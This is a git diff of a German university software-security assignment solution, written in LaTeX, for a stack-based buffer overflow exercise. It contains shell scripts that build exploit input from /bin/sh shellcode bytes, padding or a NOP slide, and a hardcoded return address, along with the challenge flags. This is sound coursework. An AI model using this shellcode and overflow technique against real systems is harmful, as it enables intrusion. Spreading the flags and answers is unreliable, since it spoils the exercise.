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[Assignment-6] Nachtrag Task 6
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Paul Zinselmeyer 2024-06-23 13:04:20 +02:00
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Assignment 6 - Software Security - Teil 2/abgabe.tex
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@ -139,38 +139,23 @@
\begin{exercise}[Stack-Based Buffer Overflow]{6} \begin{exercise}[Stack-Based Buffer Overflow]{6}
\begin{subexercises} \begin{subexercises}
\item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell ausgeführt wird:\\ \item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell ausgeführt wird. Die Flag lautet \lstinline|flag{THAT_WAS_EASY_HUH}|.\\
\begin{lstlisting}[language=Bash] \begin{lstlisting}[language=Bash]
#!/usr/bin/env sh #!/usr/bin/env sh
# 28 Byte Shellcode # 21 Byte Shellcode
SHELLCODE="\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80" SHELLCODE="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
# Padding to fill: # Padding to fill:
# - 72 Bytes to fill buff # - 79 Bytes to fill buff
# - 8 Bytes to fill the local variables before buff # - 8 Bytes to fill the local variables before buff
# - 4 Bytes to fill the saved ebp value # - 4 Bytes to fill the saved ebp value
PADDING=$(printf "A%.0s" $(seq 1 84)) PADDING=$(printf "A%.0s" $(seq 1 91))
# Address of the start of the buff array / shellcode # Address of the start of the buff array / shellcode
RETADDR="\x1C\xDB\xFF\xFF" RETADDR="\x1C\xDB\xFF\xFF"
printf $SHELLCODE$PADDING$RETADDR printf $SHELLCODE$PADDING$RETADDR
\end{lstlisting} \end{lstlisting}
\item Mit dem folgenden Script wird eine Eingabe für das Programm generiert, sodass eine Shell im Anschluss an eine NOP-Slide ausgeführt wird.:\\ \item Die Flag lautet \lstinline|flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}|.\\
\begin{lstlisting}[language=Bash]
#!/usr/bin/env sh
# 28 Byte Shellcode
SHELLCODE="\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
# NOP-Slide to fill:
# - 72 Bytes to fill buff
# - 8 Bytes to fill the local variables before buff
# - 4 Bytes to fill the saved ebp value
PADDING=$(printf "\\\\0x90%.0s" $(seq 1 84))
# Address of the start of the buff array / shellcode
RETADDR="\x1C\xDB\xFF\xFF"
printf $PADDING$SHELLCODE$RETADDR
\end{lstlisting}
\end{subexercises} \end{subexercises}
\end{exercise} \end{exercise}
\end{document} \end{document}